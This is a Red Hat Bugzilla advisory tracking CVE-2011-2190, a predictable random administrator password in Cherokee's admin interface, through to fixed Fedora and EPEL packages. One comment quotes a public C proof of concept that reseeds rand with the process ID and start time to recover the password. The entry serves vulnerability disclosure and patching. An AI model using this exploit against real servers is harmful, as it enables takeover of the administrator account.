Bug 710471 (CVE-2011-2190)

Summary: CVE-2011-2190 cherokee: A weakness in Cherokee's administrative interface random administrator password generation
Product: [Other] Security Response Reporter: Jan Lieskovsky <jlieskov>
Component: vulnerabilityAssignee: Red Hat Product Security <security-response-team>
Status: CLOSED ERRATA QA Contact:
Severity: medium Docs Contact:
Priority: medium    
Version: unspecifiedCC: pavel.lisy, vdanen
Target Milestone: ---Keywords: Security
Target Release: ---   
Hardware: All   
OS: Linux   
Whiteboard:
Fixed In Version: Doc Type: Bug Fix
Doc Text:
Story Points: ---
Clone Of: Environment:
Last Closed: 2011-10-19 14:42:36 UTC Type: ---
Regression: --- Mount Type: ---
Documentation: --- CRM:
Verified Versions: Category: ---
oVirt Team: --- RHEL 7.3 requirements from Atomic Host:
Cloudforms Team: --- Target Upstream Version:
Embargoed:
Bug Depends On: 710473, 710474    
Bug Blocks:    

Description Jan Lieskovsky 2011-06-03 13:48:00 UTC 
A weakness was found in the way Cherokee’s administrative interface
generated random administrator password. A local attacker could
use this deficiency to perform password guessing attacks and potentially
obtain the password.

References:
[1] http://code.google.com/p/cherokee/issues/detail?id=1212

CVE Request:
[2] http://www.openwall.com/lists/oss-security/2011/06/03/4
Comment 1 Jan Lieskovsky 2011-06-03 13:50:35 UTC 
This issue affects the versions of the cherokee package, as shipped with
Fedora release of 13, 14, and 15.

--

This issue affects the versions of the cherokee package, as present within
EPEL-4, EPEL-5 and EPEL-6 repositories.

Please schedule an update once final upstream patch known / ready.
Comment 2 Jan Lieskovsky 2011-06-03 13:51:31 UTC 
Created cherokee tracking bugs for this issue

Affects: fedora-all [bug 710473]
Affects: epel-all [bug 710474]
Comment 3 Jan Lieskovsky 2011-06-03 13:53:11 UTC 
Public PoC (from [1]) [didn't try it]:
======================================

If you want to play along at home!
#1 launch cherokee-admin
#2 use ps -ef to fill in the values for the pid, start time and example_password in the code below
#3 ???
#4 profit! 

(obviously, you don't need to go for up to +1000 above the approx start time and in the real world one would use curl or some other library to test if the password is correct or not).

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <time.h>
#include <string.h>
#define ALPHA_NUM            "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
#define START_TIME 1306920650 // approx start time - you probably want to subtract one minute from the time seen in ps -ef :)
#define PID 1324
#define EXAMPLE_PASSWORD "58T0J9X8vhcS18Cq"

int main(void)
{
	unsigned int i = 0;
	unsigned int n = 0;

	int x = START_TIME;
	char possible [17] = {0};
	int counter = 0;

	while (x < START_TIME + 1000)
	{
		srand(PID * x);

		for (i = 0; i < 16; i++)
		{
			n = rand()%(sizeof(ALPHA_NUM)-1);
			possible[i] = ALPHA_NUM[n];
		}
		if (!strcmp(possible, EXAMPLE_PASSWORD) )
		{
			printf("took %d tries! %s\n", counter, possible);
			return 0;
		}
		counter++;
		x++;
	}
	return 0;
}
Comment 4 Jan Lieskovsky 2011-10-19 14:42:36 UTC 
This issue has been resolved via the following updates:
1) cherokee-1.2.101-1.fc15 for Fedora 15,
2) cherokee-1.2.101-1.fc14 for Fedora 14,
3) cherokee-1.2.101-1.el6 for Fedora EPEL 6,
4) cherokee-1.2.101-1.el5 for Fedora EPEL 5,
5) cherokee-1.2.101-1.el4 for Fedora EPEL 4.

These updated packages have been pushed to -testing repository, and upon their required testing is complete, they will be pushed to -stable repository.